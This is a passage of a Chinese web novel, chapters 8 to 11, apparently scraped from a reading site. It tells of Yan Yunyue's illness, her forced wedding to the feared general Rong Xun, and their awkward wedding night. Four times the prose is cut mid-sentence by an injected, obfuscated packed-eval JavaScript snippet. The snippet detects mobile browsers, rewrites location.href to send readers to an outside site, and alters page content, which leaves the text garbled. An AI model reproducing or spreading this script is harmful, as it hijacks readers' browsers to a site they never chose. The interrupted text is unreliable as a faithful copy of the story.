“用不着你虚情假意。” * 燕云悠带着随从离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315201|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,燕从远被撞得一趔趄,气得跳脚。 “你瞧她那做派,真以为咱们奈何不了她呢!” 燕云姚毫无反应,她面上怔然,脑海里反复出现燕云悠方才看她的眼神。 那是从未有过的陌生。 两房之间多有龌龊,但她对燕云悠没有敌意,她知道,燕云悠亦是如此。 甚至还有几分不愿表露的钦羡。 那回她和沈华芝比赛投壶,一下连中三矢,燕云悠看得激动,不自觉喊了声“漂亮!” 她循声望去,这小堂妹却立刻扭开头,吃起了点心。 还有那日在宫中,她从马上下来没站稳,贴身伺候的女侍都未反应过来,燕云悠却迅速扶住了她。 燕云悠平日里走路都慢悠悠的,也不知那日为何那样快。 比起燕从远这个亲兄弟,她似乎也更欣赏这个关系尴尬的堂妹。 可终究,她们还是走到了这一步。 * 卢蔓芳和燕长瑞送走女儿后,便焦灼地等着卫海回来复命,谁料燕云悠四人去而复返。 听说是燕云姚带人拦住了燕云悠,燕长瑞又惊又怒:“亏我以为她与她爹娘不一样,如今看来,也是一丘之貉!” 卢蔓芳也道:“倘若今日易地而处,悠儿绝不会拦她,她却费尽心机阻拦悠儿,真是好狠的心肠!” 燕长瑞面上愁云惨淡:“今日过后,这伯府的守卫势必会更加森严,再想送悠儿走,只怕……” “再难也要想法子!”卢蔓芳咬着牙道,“难不成咱们要眼睁睁地看着悠儿嫁给那煞神?” 一家三口都不死心,还想着明日再一起商量对策。 可惜,人算不如天算。 翌日一早,燕从远迫不及待地将昨日之事告诉了他爹娘和祖父。 燕老太爷和燕长鸿十分生气,连忙派人加强防卫。这下不止燕云悠兄妹,就连卢蔓芳夫妻院子外也被监视起来了。 燕老太爷还想将燕云悠叫去敲打一番,不过未能实现。 因为燕云悠病了,这回是真病。 昨夜风大,天气冷,她衣衫单薄,又淋了雨,即便在卢蔓芳那儿喝了姜汤,还是染了风寒。 燕云悠这些年小病不断,但从没生过大病,此番却病得凶险。 连着几日高热不退,大夫几副药下去,不仅没有好转,还更严重了。 卢蔓芳心都快碎了,生怕女儿一病不起。 燕老太爷和长房那几人先是不以为然,还怀疑燕云悠装病,后来也吓着了。 大婚在即,燕云悠若真有个好歹,皇帝那儿不好交代。 礼部的人得知此事,不敢大意,连忙回禀了皇帝。 当日宫里便派了御医出来,几名御医合力,在荣安伯府守了好几日,才将燕云悠的病情控制住。 ‘病来如山倒,病去如抽丝’,燕云悠这一病就病了半个月,直到大婚前几日才彻底痊愈。 事到临头,再想取消这门亲事,已难如登天。 * 大婚前,燕云姚出人意料地来找了燕云悠一回。 8. 第 8 章 那会儿燕云悠身体还虚弱着,燕云姚站在她床边,目光扫过她苍白的脸,淡淡地开口: “莫再怄气,好生保重身子,到了将军府尽力保全自己,待我与六皇子成亲,会让六皇子敲打容将军,让他不敢为难你。” 燕云悠这才知道,燕云姚的亲事也定下来了,正是六皇子。 可惜连个侧妃也没捞着,只是个侍妾,不过燕云姚不在意,燕老太爷和燕长鸿夫妻虽对这位分不满意,但也巴巴地应下了。 燕云姚还是那副大义凛然的姿态: “你样样都好,就是常逞一时之气,不顾大局。你我联手,帮着祖父让荣安伯府更上一层楼才是正道,个人的得失都在其次。伯府强了,你我、咱们的爹娘兄弟,乃至这伯府的子孙后代皆可获益,届时他们也会反过来帮扶我们,这才是长远之计。” 燕云悠没理会她。 即便在她看来,燕云姚也只是燕老太爷的一枚棋子,是荣安伯府攀附权贵的牺牲品,但燕云姚认定这是她的使命,旁人是叫不醒的。 她如今是泥菩萨过江,自己都未必保得住,实在没工夫为旁人操心。 * 很快,燕云悠与容寻成亲的日子到了。 十月初十,钦天监选定的吉日,天朗气清,日丽风和,确实是个好日子。 荣安伯府张灯结彩,处处洋溢着喜庆的氛围。 因皇帝看中,这场昏礼是以亲王娶妻的规格来办的,格外隆重。迎亲的队伍绵延数里,瞧热闹的百姓将伯府外头几条街都站满了,整个京都都在为他们庆贺。 容寻今日是从皇宫出发的,因为宣武帝要亲自赐酒训话,为他醮戒。 伯府这些年门庭冷落,今日却前所未有的风光。原先瞧不上伯府的那些权贵,今日都过来了,见了燕老太爷一反常态地热络。 燕老太爷春风得意,受尽恭维,脸都快笑烂了,二房一家心里却灰蒙蒙的。 短短半个多月,卢蔓芳瘦了一大圈,她只恨自己无能,没本事救女儿。 燕长瑞也前所未有的颓唐。 燕从己一直被关着,燕云悠出逃失败后,燕从远得意洋洋地跑去他面前炫耀,又被按着打了一顿。 燕长鸿夫妻恨得牙痒痒,本想教训燕从己一顿,但燕老太爷记着燕云悠的话,拦着不让。 他们迫不得已忍气吞声,但心里暗自打定了主意,待燕云悠出嫁后,再慢慢将这笔账讨回来。 燕从己是昨日被放出来的,出来后还想去燕老太爷那儿闹,被燕云悠拦住了。 昨夜一家四口聚在燕云悠院子里,燕云悠出阁的前夜,本该是卢蔓芳与女儿说些体己话,教女儿出嫁后如何相夫教子、打理中馈的日子。 可一家人心里沉甸甸的,面上不见一丝喜色。 燕云悠心里也忐忑不安,但还是打起精神,试图宽慰家人。 “爹,娘,哥哥,你们也莫要太过担忧,事情未必有我们想象中的那么糟。兴许那容寻与传言中的不一样,就像外头说我和哥哥一般,他那些事儿或许也有隐情呢。” 她像是安慰爹娘,又像是安抚自己。 “我这几日想过了,容寻再蛮横无理也是人,是人就有软肋,你们相信我,我定能拿住他的软肋,让他不敢欺负我。” 她勉强笑了笑:“说不定到时候还能借他的威势,杀一杀大伯他们的威风呢!” 卢蔓芳鼻头一酸,险些又落下泪来。 她看着女儿强装笑颜,心疼得厉害。 她的女儿如此贴心懂事,为何沦落到如此下场? 卢蔓芳心中愤恨,但面上不显,也附和着燕云悠的话:“好,悠儿向来机敏,娘相信你定能拿住那容寻。” 事已至此,再哭天喊地一点儿用都没有,只会让女儿担心,倒不如给点实际的。 卢蔓芳将一个枣红色的木匣子打开:“这是百宝斋的地契和铺子里一干人的身契,这是两万两银票,还有这两副头面,是你及笄前娘特意找匠人为你打的……” “悠儿,这是爹娘给你的嫁妆,但你记着,钱财乃身外之物,只要能换得你平安,这些东西便是全给那容寻也不要紧。” 燕云悠没有推拒,她知道,自己收下这些东西,她娘才能稍稍心安。 她也确实需要一些财物傍身。 卢蔓芳捋了捋燕云悠鬓角的碎发,满眼疼惜: “娘昨日去武行将班瑛请了回来,她和卫山会随你去将军府。班瑛是习武之人,又天生奇力,你与她形影不离,若那容寻敢对你动手,她与卫山也能为你抵挡一二。届时你也不必顾忌荣安伯府,只要能保全自己,什么法子都使得。” “你与容寻相安无事自是最好,不行的话,娘和爹就在这里,你只管谴人来报信,娘便是豁出命去,也要护你周全。” 卢蔓芳话音落下,燕云悠再控制不住情绪,眼泪夺眶而出,像断了线的珠子一般往下落。 她一头扎进卢蔓芳怀里,抽噎着道:“娘!” 母女两抱头痛哭,燕长瑞父子劝了好一会儿才止住。 * 昨夜说得好好的,真到了燕云悠出嫁这一日,一家人仍是接受不了。 卢蔓芳眼泪都快哭干了,拉着女儿不肯放手,燕长瑞父子两沉着脸,一言不发。 燕老太爷派了姜氏过来催促。 “弟妹,今日是云悠的好日子,你们这幅做派若是被有心人传到圣上那儿,咱们伯府可都要遭殃。”姜氏端详着自己新换的镂空点翠指甲套,轻飘飘地开口,“容将军已到,爹和你们大哥都去迎接了,你们也快些让云悠出去吧,莫再耽搁。” 她话音落下,对着身边的下人使了个眼神,两个老嬷嬷便要上前去掰卢蔓芳的手。 燕云悠拍了拍卢蔓芳,哑声道:“娘,我该走了。” 她擦干眼泪,缓缓起身,看向姜氏:“我夫君脾气不大好,想必也见不得旁人对他岳家吆五喝六,大伯母往后还是注意些吧。” 燕云悠给她爹娘磕了个头,起身离开,姜氏看着她的背影,攥紧了手中的帕子,纤长的指甲几乎要掐进肉里。 还没成容寻的人呢,就敢狐假虎威,也不怕自己折在那煞神手里? * 寻常人家娶亲,成亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315202|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这日男子少不了做小伏低,摆出态度,让岳家放心将女儿嫁过去。 叩谢岳丈岳母,祭拜岳家的祖先,与岳家人说些好话都是约定俗成的规矩,容寻却连马都未下。 但也没人敢挑他的礼。 燕云悠被喜娘和侍女扶着走到伯府大门时,燕老太爷和燕长鸿正仰着头,一脸殷勤地站在马前与他说话。 容寻居高临下,面上隐隐有些不耐烦,看见燕云悠出来,面上毫无波动。 礼部的人窥见他的脸色,催着喜娘出发。 伯府那些‘贵客’瞧见这一幕,互相交换着眼神,再看燕家人时,心里又多了几分轻蔑。 原以为荣安伯搭上个孙女儿,能换得一时荣耀,现在看来容寻的势也不是那么好借的。 不过燕老太爷豁得出去,马上又要将燕云姚嫁给六皇子做妾了,大家心里不齿,但也不敢开罪于他。 宾客们面上有说有笑,心里却各有计较。 燕云悠顶着盖头,对这一切一无所知。 “起轿!”赞礼声音落下,伯府外鼓乐喧天,仪仗开道,迎亲队伍缓缓朝将军府出发。 * 将军府正门大开,燕云悠的凤辇直接被抬到前院正厅门口。 今日容寻这儿亦是宾客盈门,来客身份比荣安伯府的更加贵重。 在京都的几个皇子公主今日都来了,和他们一起的,还有曹公公和昭华长公主。 昭华长公主是宣武帝的亲妹妹,今日过来不只为容寻贺喜,也揽了帮忙招待内院女客的活儿。 皇帝今日没有到场,但他的亲信太监曹公公带着圣旨和赏赐来了。 燕云悠被喜娘扶着进了正厅,先是和容寻一起领赏谢恩,然后才行拜堂之礼。 拜堂仍是礼部的官员主持,喜娘端上红绸,燕云悠和容寻各执一头,并肩站在香案前。 穿着红色官服的赞礼郎高声唱道:“吉时到,行拜礼!” 将军府鼓乐齐鸣。 “一拜天地……” 燕云悠深吸了一口气,躬身行礼。 从伯府过来这一路,她忐忑不安,心里想了许多,真到了这里,反倒平静了。 她心中生出一股豪气。 这门亲事想来并非容寻所愿,她和容寻都是受害者,如今她也不敢奢求什么两情相悦的爱情了,只希望能与容寻各取所需,和睦相处。 东禹百姓有如今的太平日子,容寻功不可没,他是东禹的英雄,燕云悠心中钦佩,愿意迁让几分。 即便容寻有些小缺点,只要不是太过分,她便忍一忍。 但若是容寻欺人太甚,她便豁出去,与这煞神拼了。 她的命也十分宝贵,容寻若敢伤她,即便不能一命换一命,她也要让容寻付出代价! * 典礼结束,容寻还要招待宾客,燕云悠先回内院正房休息。 容寻这座宅院是他十五岁出宫时皇帝赏的,本是亲王府邸,比荣安伯府大了两倍有余。 燕云悠头上有盖头,行动不便,将军府的下人用软轿抬着她,走了约莫一刻钟,才将她送到。 9. 第 9 章 将军府除了一个四十多岁的嬷嬷,和一个厨娘,其余都是男丁。嬷嬷姓赵,据说是容寻的乳母,原先在宫中照顾他的。 赵嬷嬷将燕云悠带到正房便下去了,她一走,屋里便只剩燕云悠带来的人了。 燕云悠迫不及待地掀开盖头,头上这顶凤冠太过华丽,压得她脑袋疼,燕云悠想让幼萍帮她摘下来,但江嬷嬷拦着不让,她也没坚持。 燕老太爷虽然不是个东西,但有一句话说得对,容寻年轻气盛,吃软不吃硬,她一上来便与容寻对着干肯定讨不着好,倒不如以柔克刚。 既然她祖父说了她倾慕容寻,她便将错就错。先降低容寻的警惕,取得他信任,再谋求别的。 从今日起,她便是对容寻痴心一片的‘痴情女子’了,待会儿自然要以最好的状态迎接他。 * 除了江嬷嬷和幼萍幼梨,跟着燕云悠进将军府的还有卫山、班瑛和四个年轻力壮的小厮。 江嬷嬷原是卢蔓芳的侍女,后来又成了燕云悠的乳母,这些年一直在燕云悠的小院里做管事嬷嬷。 她对卢蔓芳母女忠心耿耿,人也老成,将军府没有长辈,卢蔓芳派她来帮着女儿打理中馈。 班瑛是卢蔓芳花大价钱从武行请来的。 这姑娘出身武术世家,父亲是当年鼎鼎有名的大镖头,可惜在班瑛八岁那年,为保护一个富商殒命。 虽给妻女留下一笔数量可观的银子,但他几个兄弟见利忘义,班瑛母女两被吃绝户,险些丧命。 危急关头,卢蔓芳出手相助,用荣恩伯府的名头吓退了那群豺狼。 后来班瑛她娘被卢蔓芳所雇,在百宝斋做事,又过了几年,班瑛的武艺天赋渐渐显露出来,燕云悠觉得浪费了可惜,建议她娘送她去习武,又帮着牵线,让京都赫赫有名的高手收她为徒。 班瑛天资过人,又肯吃苦,如今也算是学有所成。 她这几年一直在武行做事,接些护卫女眷的活计,收入颇丰。 她记着燕云悠母女两的恩情,卢蔓芳请她保护燕云悠三年,她知道这差事有危险,但还是毫不犹豫地应下了。 班瑛和伯府带来这八人都是可信的。 燕云悠让幼萍和班瑛去厨房给她端些吃的来,在伯府时心里难受,没吃多少东西,这会儿饿得快前胸贴后背了。 晚上还有一场硬仗要打,吃饱了才有力气与那煞神周旋。 谴班瑛过去是想让她顺路查探一下将军府的情况,免得哪日容寻发了狂,她们连往哪儿逃都不知道。 * 过了约莫一炷香的功夫,班瑛和幼萍去而复返,给燕云悠带了一盅鸡汤,几碟精致的菜肴,和一碗米饭。 还有刚探察到的消息。 “将军府确实有几个手脚残缺的下人,引我们去厨房的那位小哥叫‘余昭’,他左脸也有一块可怖的刀疤,赵嬷嬷说他是容将军的亲随。余昭话有些多,待人亲和,但似乎不喜旁人瞧他的脸,一路都用右边的脸对着我们。” 班瑛话音落下,幼梨惊呼出声:“连亲随都下这样的狠手,容将军果然同外头说的一般心狠手辣!” 燕云悠面上若有所思:“未必是容寻动的手,他既是军士,兴许是在战场上受的伤。” 战场上刀剑不长眼,危机四伏,倘若连身边的亲随都要防,那仗也不用打了。容寻再疯,应当也不至于对着自己的亲信犯浑。 班瑛点了点头:“余昭提起容将军语气亲近中带着敬佩,想来确实并非容将军所伤。” 燕云悠喝完汤,肚子没那么饿了,一边慢悠悠地吃饭,一边继续和班瑛她们说话。 班瑛经验丰富,进府时便将路记住了,方才去前院为燕云悠拿饭食时又仔细观察了一遍。 “若余昭和赵嬷嬷所言不假,那将军府的家丁不比咱们人多,而且好几个身子不健全,多少会影响行动。府中可藏人的地方不少,倘若容将军真对您动手,咱们虽然打不过,拖延些时候,等卢夫人遣人来救应当没问题。” 燕云悠也没想到,偌大个将军府,包括容寻在内,也才十人。 京都这些王公贵族哪个家中不是仆役成群?容寻这将军府实在出人意料。 依赵嬷嬷所说,余昭和另一个叫‘朱俊’的都是容寻身边的护卫,去岁才跟着容寻回京都。 除了他两之外,这府中还有三个杂役、一个马夫、一个门房,再加上赵嬷嬷和厨娘,一共七人,容寻在北境时就是这七人为他看守宅院。 因为人手不够,今日大婚除了礼部的一干人员,还从外头聘了专门承接宴席的四司六局。 燕云悠的目光在这间屋子里扫了一圈,屋里的家具用料讲究,但布置得颇为简单,几乎没有多余的装饰。 这样看来,容寻似乎不是个生活骄奢的人。 不过赵嬷嬷的话也未必可信。 外头传言容寻在将军府藏了个青楼女子,燕云悠被指婚给他后,卢蔓芳特意遣人打听过。 最后证实传言不假,是有这么个人。 也不知是提前搬出去了,还是赵嬷嬷故意隐瞒。 燕云悠思索了一会儿,又嘱咐班瑛和幼萍她们打听一下,那几个身体残缺的下人是怎么受的伤。 外头都说这些伤患是容寻的手笔,容寻位高权重,这几年风头无两,京都没几个人敢造他的谣,所以今日之前,燕云悠也不曾怀疑过。 可将军府一共就五个家丁,班瑛和幼萍今天见了三个,三人都不健全。 如果真是容寻动的手,他为何还将人留在府中,难道就一点儿也不担心人家报复?实在不合情理。 倘若他府中仆役成群,有人替他盯着,这事儿还有些可信度。 * 填饱自己的肚子后,燕云悠让江嬷嬷她们也去吃点儿东西,留下一人陪着她便是,反正外头还有卫山几人守着。 未曾想江嬷嬷和班瑛、幼萍刚走,容寻便回来了。 今日贵客盈门,燕云悠实在没想到他会这么早过来。 燕云悠倚在小榻上让幼梨帮她揉肩捶腿,听到卫山大声同容寻问安,吓得面色一变,忙不迭地坐直身子整理仪容。 幼梨抖着手帮她把盖头重新盖上,刚盖好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315203|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,容寻便进门了。 燕云悠感觉到有人大步靠近,停在自己面前,恍惚间,坠着珠络的盖头已被人揭开。 一抹红色的衣角出现在视线之中,来人身量极高,燕云悠仰头伸直脖子,才看到他的脸。 一个头戴金冠,剑眉星目的男子印入眼帘,他拿着一杆如意秤,低头俯视着燕云悠。看到他的那一刻,燕云悠瞳孔紧缩。 ——是那日在宫里命令她让路的男人,原来他就是容寻! 去年春日容寻凯旋归来时,好些大户人家的小姐去看,燕云悠也去凑了个热闹。 因为隔得有些远,容寻还带着面具,她没看清,但猜想此人应当十分英俊,不然也不会让东阳郡主一见倾心。 今日一见,果然如此。 面前的男人的相貌实在优越,即便眉眼锋利,气质冷厉,一看就不是个好相与的,但仍有让人一见倾心的魅力。 不愧是曾风靡整个京都的男人。 容寻的容貌比她预料得更加出色,燕云悠不喜反忧。 顶着这么一张俊脸都能把东阳郡主吓出病来,这得是多么凶残?她今日定要谨言慎行,绝不能惹怒这煞神。 * 容寻随手将手里的如意秤丢到旁边的小几上,转头看向燕云悠: “你怕我?”他双眸幽深,让人辨不出喜怒。 燕云悠像只被狼盯上的小动物,有种浑身发毛的感觉,但仍是强笑着道:“没、没有!” “那你抖什么?” 容寻的语气古井无波,燕云悠在心里将他骂了个狗血淋头。 她掐了下手心,勉强冷静下来,又对着容寻扯了扯嘴角:“哎呀,看到容将军太激动了,一时没忍住……” 她试图演出闺阁女儿的害羞情态,可眼里的慌张没藏住,看起来可怜巴巴的。 容寻定定看着她,也不知信没信。 就在燕云悠心中惴惴不安之时,卧房门口的隔扇被人敲了两下。 喜娘站在门口,对着屋里两人福了福身:“将军,夫人,外头已布置妥当,二位可移步外间,行同牢合卺之礼了。” 燕云悠这才发觉方才进门的不止容寻,还有喜娘和几个女侍,不过后头几人只进了外间,没往里走。 喜娘是经验老道的官媒,生了一张圆润讨喜的脸,此刻笑盈盈地看着燕云悠: “将军怕夫人饿着,在外头陪客人喝了几杯,便催着来行同牢合卺之礼呢!” 燕云悠有些不信,但仍做出一副受宠若惊的模样:“多谢将军体贴,那咱们快出去吧。” 说完一骨碌站起来,匆匆往外走。 在卧房与容寻四目相对实在有些考验她的心脏,还是快些出去吧。 * 同牢合卺,原是指新昏夫妇共食同一牲畜之肉,用一个匏瓜剖成的两个瓢共饮。象征夫妻合二为一,永结同好。 侍女已将菜肴、酒水和由匏瓜演变而来的玉质合卺杯布置好,燕云悠和容寻在外间坐下,侍女为他们布菜,并三次斟酒。 礼成,喜娘带着侍女退下,容寻却没走。 10. 第 10 章 容寻将桌上的饭菜一扫而空,又回了前院,临走前,他看了眼燕云悠: “若是累了便先歇息,不必等我。” 他语气平淡,燕云悠主仆二人却如逢大赦。 这人气质冷硬,沉默寡言,燕云悠与他隔桌相对,实在是浑身不自在。虽有心要演一个恋慕他的痴情女子,却不知如何着手。 一顿饭吃得悄无声息,旁边站着的幼梨更是战战兢兢,头也不敢抬。 不过,他最后那句话却说到了燕云悠心坎上。 容寻走后,候在门外的侍女进来收拾桌子,燕云悠进了卧房。 她终于可以卸下那顶沉甸甸的凤冠,洗漱休息了。 原还想用月事逃过圆房,现在看来,也许用不上了。容寻既然让她先休息,想来是觉得此事无关痛痒,不会强迫她。 不过该做的准备,还是不能少。 * 燕云悠在正房逛了一圈。 容寻这屋子占据了一整排五间上房,卧房、书房、饭厅、浴房、暖阁、宴客厅一应俱全,前后左右各带一个抱厦。左右两个只是拓展空间,前后处的却各有用途。 后面的抱厦邻水,可以赏景饮茶,因与浴房相连,也方便排水;前面的三间抱厦连着回廊,是丫鬟小厮值守时歇息的地方。 不知是人手不够还是不屑防她,容寻没让下人守着,只留了个余昭在院子门口的倒座等候差遣。 正院还有许多空房,前面的倒座、厢房边上的耳房、正房后面的后罩房都是给下人住的,赵嬷嬷她们已经收拾出来了,燕云悠带来的人可以自己选。 男丁只能住倒座,江嬷嬷和幼萍她们都选了离燕云悠最近的屋子。 卧房后面便是浴房,燕云悠舒舒服服地泡了个澡,出来后,她穿上月事布,又在衣袖里塞了一根锐利的发簪,用一根发带捆住,最后慢悠悠地爬上了床。 今夜班瑛、卫山和另一个小厮会守着她,卫山二人宿在抱厦的小屋子里,班瑛带了被褥,歇在次间的小榻边上。 容寻回来时她会装睡,容寻安安生生是最好,不然的话,她也只能使些别的手段了。 * 燕云悠爱惜身子,一贯睡得早,今日躺在容寻的床上,却没有一丝睡意。 戌时末,屋外传来卫山他们向容寻请安的声音,燕云悠心头一凛,下意识摸了摸袖子里的发簪。 班瑛进来看她,两人交换了一个眼神,没有出声。 很快,容寻进来了,班瑛站在卧房门口,低头请安,又道:“小姐睡着了,奴婢唤她起来?” “不必。”容寻盯着她看了一会儿,才道,“下去吧。” 班瑛在武行这些年,护卫过的富商千金、权贵之女不计其数,寻常百姓谈之色变的皇宫她也进去过,实在不算没见识。 但容寻方才默不作声看着她时,她仍是出了一身冷汗。 顺从地回到次间,班瑛倚着小榻在自己的铺盖上,竖着耳朵小心地听着里间的动静。 她心中暗自祈祷,希望今夜别有什么事儿。 * 卧房里,燕云悠闭着眼睛装睡,她感觉到容寻走近了。 容寻的目光落在她身上,如有实质,她紧张得睫羽微颤,却不敢睁眼。 好半晌后,又听到衣料摩擦的声音,猜到容寻在脱衣裳,燕云悠如临大敌,浑身紧绷。 很快,身侧的被褥微微下陷,容寻在她边上躺下了。 燕云悠绷着身子,背对容寻一动也不敢动,最后身子都麻了。 容寻没有动作,似乎睡着了,燕云悠心中大喜,又有些不敢置信,今日竟然如此平顺?难道外头那些人真的误会容寻了? 燕云悠又惊又喜,但也不敢卸下防备。 毕竟是皇帝指婚,刚开始容寻待她客气些也正常,说不定过不了几日就会露出真面孔。为了自己的小命着想,她不能掉以轻心。 燕云悠绷着一根弦,心里思绪万千,将近鸡鸣时分才睡着。 她身体放松下来,陷入梦中,旁边的男人却睁开了眼睛。 * 夜色已深,屋外的月光透过半透明的明瓦撒入卧房,在窗边的妆台上落下朦胧的光影。 容寻侧头,目光落在枕边的少女脸上。 燕云悠这些日子清减许多,躺在床上薄薄的一片,若不是脑袋露在被子外面,几乎看不出这儿睡着个人。 倒是脸颊上还有点儿肉。 她肌肤白嫩,在这光线昏暗的屋子里似乎在发着光。满头乌发散落,有一簇落在容寻颈侧,是他从未体会过的柔软。 容寻面无表情地拨开了。 燕云悠闭着眼睛,不见白日里的防备。褪去华丽的妆容,她俏丽的五官和面上的稚气完全显露出来,实在看不出是外头传言的那个骄奢无度的草包。 不知梦到了什么,她眉头微蹙,配上那张柔美的脸蛋,让人望而生怜。 容寻心里却没什么波动。 他无意娶亲,与燕云悠成亲实乃情非得已。 那日六皇子求上门来,同他说了燕家大小姐的事儿。容寻不屑强人所难,翌日便在皇帝面前回绝了他和燕云姚的婚事。 燕老太爷说燕云悠倾慕他,非他不可,他心里将信将疑,但也顺势请皇帝用燕云悠换掉了燕云姚。 他需要的只是一个不多事、好拿捏,能堵住悠悠之口的幌子。燕云悠相貌如何,是不是外人说的那个草包他都不在乎。 他不准备在京都久留,也不会浪费精力在这位‘妻子’身上。但锦衣玉食养着燕云悠,护她安稳无忧倒是没问题。 有他在,燕云悠在京都横着走都行。 如此,他们各取所需,都不吃亏。 * 燕云悠攥着被角,双眼紧闭,睡得并不安稳。 她梦到了白日成婚的场景。 与现实不同,梦里与她成亲的是个青面獠牙的怪物,拜堂的时候便朝她亮出了爪牙。班瑛和幼萍她们欲要救她,全被这怪物拍死了。 燕云悠悲痛欲绝,决定和这怪物拼命,她挥舞拳脚朝怪物跑去,最后一拳打在了容寻身上。 容寻刚睡着就被人打了一拳,他转头一看,燕云悠眼睛还闭着,但气得脸都鼓起来了,咬牙切齿地对着他。 “……” 容寻心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315204|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无语,冷着脸把燕云悠的手甩开,这人竟还没醒。 “丑八怪,我和你拼了!” 燕云悠一声大喝,外头的班瑛吓得一抖,她心惊肉跳,硬着头皮跑了进来。一进门,就和面色冰冷的容寻对上了视线。 班瑛一脸茫然,好一会儿才反应过来,方才是燕云悠在说梦话。 她心里讪讪,赶紧退了出去。 燕云悠总算安静下来了,两只手握成拳头举在脑袋两边,看着十分乖巧。 容寻深吸了一口气,闭上了眼睛。 刚要睡着,却肩头一痛,他猛地睁开眼,发现燕云悠在咬他。 容寻额头青筋直跳,他伸手一把掐住燕云悠的脸颊,硬生生把人掐醒了。 燕云悠一睁眼,看见自己咬的不是怪物,而是容寻,顿时吓清醒了。 老天奶,这下真完了!她把煞神咬了! 她眼珠乱转,可怜巴巴地掰容寻的手:“对不起,方才我在做梦,不是故意咬你的!要不然你咬回来吧……” 容寻面色铁青,显然十分生气:“你要是不想睡,就别睡了!” 说完,他一个翻身,按住燕云悠两只手臂。 他宽肩窄腰,体型精壮,燕云悠被他按着丝毫动弹不得,吓得语气发颤:“你、你要做什么?” 该不会一怒之下,气得要强迫她了吧? 她心里发慌,眼神乱飘,却发觉容寻的衣襟散开了,一大块结实的胸膛就在她眼前。 她慌忙抬头,又对上容寻冷峻的脸。两人靠得极近,昏暗的光线下,容寻本就俊美的脸越发有冲击力了。 燕云悠心神一晃,赶紧侧开脸。 真是刺激,几个年轻小姑娘经得住这样的考验? 燕云悠,万不可为美色所惑!她心中暗道,容寻还不知干不干净呢! * 容寻瞥见身下之人绯红的脸,也反应过来这姿势容易惹人误会了。 他立刻放开燕云悠,坐了起来。 “滚出去。”他背对着燕云悠,冷冷道。 燕云悠睁大了眼睛:“我去哪儿?”新婚之夜,她就要被赶出门了? “……”容寻默然无语,最后一字一顿,“你在这,我去书房!” 说完穿上鞋子,绷着脸头也不回地走了。 燕云悠好一会儿没反应过来,回过神后,欢喜得险些从床上跳起来。 她咬了容寻,容寻自己去书房睡,把卧室让给她?天啦,难道容寻真是个好人? * 次间,班瑛看见一个高大的身影气势汹汹地从卧房走了出来,略过她径直去了书房。 她有些不敢相信,赶忙甩了甩脑袋。 但定睛一看,那满身的煞气,不是容寻是谁? 天老爷,燕小姐真是有本事,竟把这煞神气得睡书房去了! 班瑛有些不放心,又起身去了卧房。 卧房里燕云悠高兴得在床上打滚,班瑛四下张望一眼,用气声问她:“燕小姐,容将军去书房了?” 燕云悠眼睛亮晶晶:“嗯!” 谁知咬容寻一口还有这效果,这噩梦做得真是妙啊! 11. 第 11 章 以容寻今日的表现来看,怎么也不像会对身边之人动手的冷血残暴之人。 可放眼京都,敢往他头上泼污水,且有动机这么做的,实在寥寥无几。 即便有人敢这么做,容寻为何不解释?以他的权势,要还自己清白应当是轻而易举。 燕云悠百思不得其解。 冷静下来后,她觉得还是不能太早对容寻卸下防备。 旁的不说,东阳郡主她见过,很是率性开朗的一个小姑娘,如今与从前判若两人,这总做不得假。 或许其中有什么误会,但小命要紧,误会解开之前,她都不能掉以轻心。 不过眼下的形势远比她预料得要好,倒是能趁机为自己再争取些东西,正好再试探一下容寻的性子。 燕云悠决定,明日就同容寻说,她有梦魇的毛病,借此逼迫容寻与她分房睡。 * 她心中激动,在床上翻来覆去,好一会儿才重新睡着。 这回倒是睡得挺香,第二日是被江嬷嬷推醒的,醒来时天光大亮,日头已高。 “这府中幸是没有长辈,不然新妇睡到这个时辰,人家可要说您没规矩了……” 江嬷嬷念念叨叨。 她一早上就在外头等着了,见自家小姐辰时末还未起来,心里急得不行,但容寻也在,她不敢进来催促。结果问了卫山才知道,容寻早就去前院了。 “这般重要的事,如何不早说!” 